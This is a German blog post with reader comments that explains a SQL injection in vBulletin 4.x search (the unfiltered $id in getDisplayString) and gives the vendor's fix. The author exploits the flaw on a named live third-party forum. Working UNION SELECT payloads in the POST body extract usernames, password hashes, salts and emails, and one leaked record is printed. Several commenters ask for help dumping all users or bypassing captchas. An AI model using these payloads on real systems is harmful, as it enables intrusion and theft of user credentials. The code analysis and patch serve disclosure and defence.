vBulletin® 4.x SQL Injection Vulnerability

Ahoi,

Seit dem letzten Knueller von vBulletin, habe ich eigentlich nicht mehr mit einer gravierenden Luecke gerechnet. Doch am 05.04.2011 wurde dann ein “vBulletin 4.X Security Patch” veroeffentlicht. Inzwischen sind schon einige Tage vergangen und ich hoffe, dass der ein oder andere Admin sein Board inzwischen updated hat.

Interessant ist beispielsweise, dass es folgende Versionen betrifft:

vBulletin Publishing suite

  • 4.1.2
  • 4.1.1
  • 4.1.0 PL2
  • 4.0.8 PL2
  • 4.0.7
  • 4.0.6
  • 4.0.5
  • 4.0.4 PL1
  • 4.0.3 PL1
  • 4.0.2 PL4
  • 4.0.1
  • 4.0.0 PL1

vBulletin Forum classic

  • 4.1.2
  • 4.1.1
  • 4.1.0 PL2
  • 4.0.8 PL2
  • 4.0.7
  • 4.0.6 PL1
  • 4.0.5
  • 4.0.4 PL1
  • 4.0.3 PL1
  • 4.0.2 PL4
  • 4.0.1
  • 4.0.0 PL1

Kurz gesagt <= 4.1.2 | vBulletin 3.x ist davon nicht betroffen. Das ganze hoert sich interessant an - ist es auch! Wo befindet sich die Luecke?

Hinweis: Meine Zeilen beziehen sich auf die vB Version 4.1.2 – bei niedrigeren Versionen _kann_ die Zeilenangabe variieren, die Luecke ist aber die gleiche.

Dann schauen wir uns mal 2 Dateien an, zuerst die /vb/search/searchtools.php – dort gehen wir in Zeile 715, die in etwa so aussieht:

	public static function getDisplayString($table, $table_display, $fieldname, $key, $id, $comparator, $is_date)
	{
		global $vbulletin, $vbphrase;
		$names = array();
 
		if (is_array($id))
		{
			//If we have an array, we have to use equals.
			$sql = "SELECT DISTINCT $table.$fieldname from " . TABLE_PREFIX . "$table AS
				$table WHERE $key IN (" . implode(', ', $id) . ")";
 
			if ($rst = $vbulletin->db->query_read($sql))
			{
				while($row = $vbulletin->db->fetch_row($rst))
				{
					$names[] = $row[0];
				}
			}
 
			if (count($names) > 0)
			{
				return $table_display . ': ' . implode(', ', $names);
			}
		}
		else
		{
			//If we got here, we have a single value
			if ($row = $vbulletin->db->query_first("SELECT $table.$fieldname from " . TABLE_PREFIX . "$table AS
				$table WHERE $key = $id"))
			{
				return  $table_display . ' ' . self::getCompareString($comparator, $is_date)
					. ' ' . $row[0];
			}
		}
		return "";
	}

Vorallem die Variable $id ist nun fuer uns interessant, da sie in dieser Datei nicht gefiltert/ueberprueft wird.

Nun schauen wir, wo diese verwundbare Funktion verwendet wird und finden dann in /packages/vbforum/search/type/socialgroup.php Zeile 201 – 203:

vB_Search_Searchtools::getDisplayString('socialgroupcategory', $vbphrase['categories'],
 
					'title', 'socialgroupcategoryid', $value, vB_Search_Core::OP_EQ, true ));

Wenn wir das nun mit der obigen Funktion vergleichen:

	public static function getDisplayString($table, $table_display, $fieldname, $key, $id, $comparator, $is_date)
	{
		global $vbulletin, $vbphrase;
		$names = array();
 
		if (is_array($id))
		{

Wird es diese wohl sein 😉

Wie nutze ich das nun aus?

Wie oben gesehen, wird es wohl etwas mit den “socialgroups” also den “Gruppen” unter vBulletin und einer Suche dort zu tun haben. Ich werde euch _eine_ Moeglichkeit zeigen. wie ihr die Luecke ausnutzen koennt. Es empfiehlt sich ein Addon wie “Live HTTP Headers” (fuer Firefox) zu benutzen, da wir mit dem POST Parameter arbeiten werden.

Schauen wir uns mal die Suche (search.php) an:
Erstmal klicken wir auf “Search by Type” bzw. “Search Multiple Content Types”, waehlen dort dann “Gruppen” (bzw. Groups) aus und suchen am besten nach einer Gruppe, die auch existiert – ich werde es anhand von einem Live Beispiel demonstrieren.

Habe mir dieses Forum kurz geschnappt:
http://airoma.org/forum

Nun suchen wir nach “team”, da es ein paar Gruppen gibt, die den Text im Titel haben:

*Screenshot1*

Einen Treffer gibts auch:

*Screenshot2*

Schauen wir uns mal den POST Inhalt an, der in meinem Fall so aussieht:

type%5B%5D=7&query=team&titleonly=1&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do=process&searchthreadid=

Um nun die Luecke auszunutzen, haengen wir unsere SQL Injection hinten dran:

type%5B%5D=7&query=team&titleonly=1&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do=process&searchthreadid=&cat[0]=1) UNION SELECT 'haxhax' #

Und sieh an, sieh an:

*Screenshot3*

Eine eindeutige Ausgabe 🙂

Nun kann man zum Beispiel so weiter machen:

type%5B%5D=7&query=team&titleonly=1&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do=process&searchthreadid=&cat[0]=1) UNION SELECT concat_ws(0x3a,username,password,salt,email) FROM bulletinuser limit 1,1#

und siehe da:

*Screenshot4*

Richard™:cecc1cac4442df94e95eae0f02a0c64e:W&c$q#V}rD85C'D7~0,($cg,:/N:L#:[email protected]

Quasi owned 😉

Wie behebe ich die Luecke?

Als vB Kunde einfach den passenden Patch benutzen, auf vBulletin 4.1.3 updaten oder “von hand” schnell fixxen (ich werde die Methode zeigen, welche im Patch Level verwendet wurde):

/vb/search/searchtools.php

		$id = $vbulletin->db->sql_prepare($id);
		if (is_array($id))
		{

Sprich es wurde einfach “$id = $vbulletin->db->sql_prepare($id);” hinzugefuegt. Nun _muss_ noch die

/includes/class_core.php

editiert werden, naemlich:

Alt (Zeile 750):

	function sql_prepare($value)
	{
		if (is_string($value))
		{
			return "'" . $this->escape_string($value) . "'";
		}
		else if (is_numeric($value) AND $value + 0 == $value)
		{
			return $value;
		}
		else if (is_bool($value))
		{
			return $value ? 1 : 0;
		}
		else
		{
			return "'" . $this->escape_string($value) . "'";
		}
	}

Neu:

	function sql_prepare($value)
	{
		if (is_string($value))
		{
			return "'" . $this->escape_string($value) . "'";
		}
		else if (is_numeric($value) AND $value + 0 == $value)
		{
			return $value;
		}
		else if (is_bool($value))
		{
			return $value ? 1 : 0;
		}
		else if (is_null($value))
		{
			return "''";
		}
		else if (is_array($value))
		{
			foreach ($value as $key => $item)
			{
				$value[$key] = $this->sql_prepare($item);
			}
			return $value;
		}
		else
		{
			return "'" . $this->escape_string($value) . "'";
		}
	}

Soviel dazu erstmal, wuensch euch noch eine tolle Woche, mein naechstes Linux Tutorial folgt am Wochenende!

// Hinweis: Der Eintrag war damals http://j0hnx3r.org/?p=818 und ist nun ueber https://j0hnx3r.org/?p=818 bzw https://j0hnx3r.org/vbulletin-4-x-sql-injection-vulnerability/ erreichbar

29 Replies to “vBulletin® 4.x SQL Injection Vulnerability”

  1. Die haben ernsthaft vergessen, arrays beim sql_prepare rekursiv zu verarbeiten? LOL

    MfG Z4ppy

  2. nice try, mehr aber leider auch nicht :[

    Cool wär, wenn du stärker darauf eingegangen wärest, was wie wo und warum schiefgegangen ist.
    (zu kurze Code-Snippets && schlecht erklärt;
    Sogar ein “diff -u” wäre hilfreicher.)

    und spar dir dieses “ich zeich euch mal eben wie man das bei nem forum im inet macht” zeuch, so genau brauchen das nur kiddies.

    @ Z4PPY: soweit wie ich das verstanden habe, hast du unrecht. (is aber schwer nur mit diesem artikel zu verstehen was genau schiefgegangen ist, vllt lieg ich ja falsch 😉 ) … sieht so aus, als hätten die vergessen das array $id zu filtern,
    um das zu fixen haben sie sql_prepare darum erweitert auch arrays filtern zu können und das dann genutzt um $id zu filtern. Sie haben also nicht vergessen arrays rekursiv zu filtern. sondern nur vergessen dieses eine ordentlich zu filtern. Kapiert?

    @ johnx3r: überarbeite den artikel plz, damit leute, die den vb source nicht gerade zur hand haben, den bug komplett && ohne zweifel verstehen :]

    Happy Hackin’!

  3. Jap, es geht einzig und allein um das array $id, ich merk grad das der Source wirklich etwas arg kurz ist, um das Problem zu sehen 😀

    Und eigentlich hab ich euch ja gezeigt, was sich beim diff geaendert hat, naemlich einzig und alleine eine Zeile in der searchtools.php, aber ich werd noch die ganze Funktion posten bzw. die Stelle die Vuln ist.

    Edit: Done (:

  4. Also haben die ninjas die ganze Zeit diese Lücke benutzt?
    LoL dann wars das mit den ezines,wenn es gefixxt wird und langsam sieht es so aus,dass die ninjas die Lücken nur gekauft haben…Kinder halt.Deswegen wurde nie ein Forum 3.8.X nie von den ninjas geowned.Also wenn man jetzt alles sieht,war es keine große Leistung,jeder kann ein Exploit benutzen.

    Gruß

  5. Ähm Swissfaking warf 3.8.x erstmal nachdenken –> Dann posten. Free-Hack war auch unter 4.x

  6. @CEE_KAY]:
    Ja mir ist absolut klar, wie die Vulnerability funktioniert.
    Worauf ich hinaus wollte: die Programmierer von VB haben gar nicht damit gerechnet, dass der Parameter von sql_prepare ein Array sein könnte! Hätte man ein Array übergeben (in der alten Version), so wäre anstatt eines rekursiv verarbeiteten Arrays wahrscheinlich einfach nur ‘Array’ zurückgekommen (da müsste man jetzt anschauen was escape_string macht, evtl. hätte es dann auch eine Fehlermeldung gegeben). Und das kann ja wohl nich sein ^^

    MfG Z4ppy

  7. @ Blogleser: Bullshit.

    @ Fred: Das hab ich unter “Wie behebe ich die Luecke?” erklaert, die Zeilen koennen womoeglich anders sein, aber die Stellen sind an sich die gleiche, sprich du suchst nach

    “if (is_array($id))” in der searchtools.php (die stelle kommt exakt einmal vor) und postest dann die eine Zeile drueber, die in meinem Blogeintrag zu finden ist. Genauso in der class_core.php

  8. Mal abgesehen davon, dass wie InVisible sagte, alle möglichen vBulletin Versionen bei den HappyNinjas vertreten sind… Es sind auch genug Seiten dabei, welche garkein vBulletin verwendet haben. Also selbst wenn sie auch diesen Bug benutzt haben, so ist es doch ehr unwahrscheinlich, dass sie nur diesen Bug besessen haben. Ob sie sie gekauft haben, weiß ich nicht, aber ich halte es für unrealistisch. Bugs in vBulletin sind nicht grade billig, wer also würde sie sich kaufen und dann für ein eZine verwenden? Wohl ehr niemand.

  9. Hallo,
    du hast es extrem drauf!
    Könntest du mal mein Forum auf Lücken durchsuchen (Hat nichts mit der Szene zu tun!)

    MfG

  10. $id wurde garnicht gefiltert? Oder überseh ich da etwas? Und wieso das Array cat? Wird das dann zu $id?

  11. @ Do_Licious: Nein

    @ Baaaaaa: Richtig. $id wurde gar nicht gefiltert. Und welches Array Cat?

  12. @p0ny
    hthreadid=&cat[0]=1) UNION SELECT ‘haxhax’ #

    bei dem cat[0], hab ich bis jetzt noch nicht so wirklich begriffen, was das macht. wird da der query string irgendwie übergeben oder das cat direkt an $id?

  13. wenn ich ein Wort suche, kein Ergebnis erscheint…
    Ist ein patch in den code? Oder ist es weil alle groupen privat sind?

  14. Hi,
    ich bekomm nach der Abfrage ein 403.

    Forbidden

    You don’t have permission to access /forums/search.php on this server.

    Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

    Lösung parat?

  15. Ich gebe dazu eigentlich keinen Support – habe meinen Beitrag ziemlich ausfuehrlich geschrieben.

  16. Hey,
    soweit alles verstanden 🙂 vielen Dank. 2 Fragen, falls mir die jemand beantworten könnte wäre super. 1. Gibt es eine Möglichkeit alle User zu dumpen ? Ich denke mal nicht weil man ja dauernd den Header verändert. 2. Bei z.B. Captcha-Abfragen ist ja immer die Antwort auf die letzte Frage im Header. Kann man das irgendwie umgehen ? Gern auch ICQ, ich bin sehr lernwillig in dem Bereich 🙂 605816332

Leave a Reply

Your email address will not be published.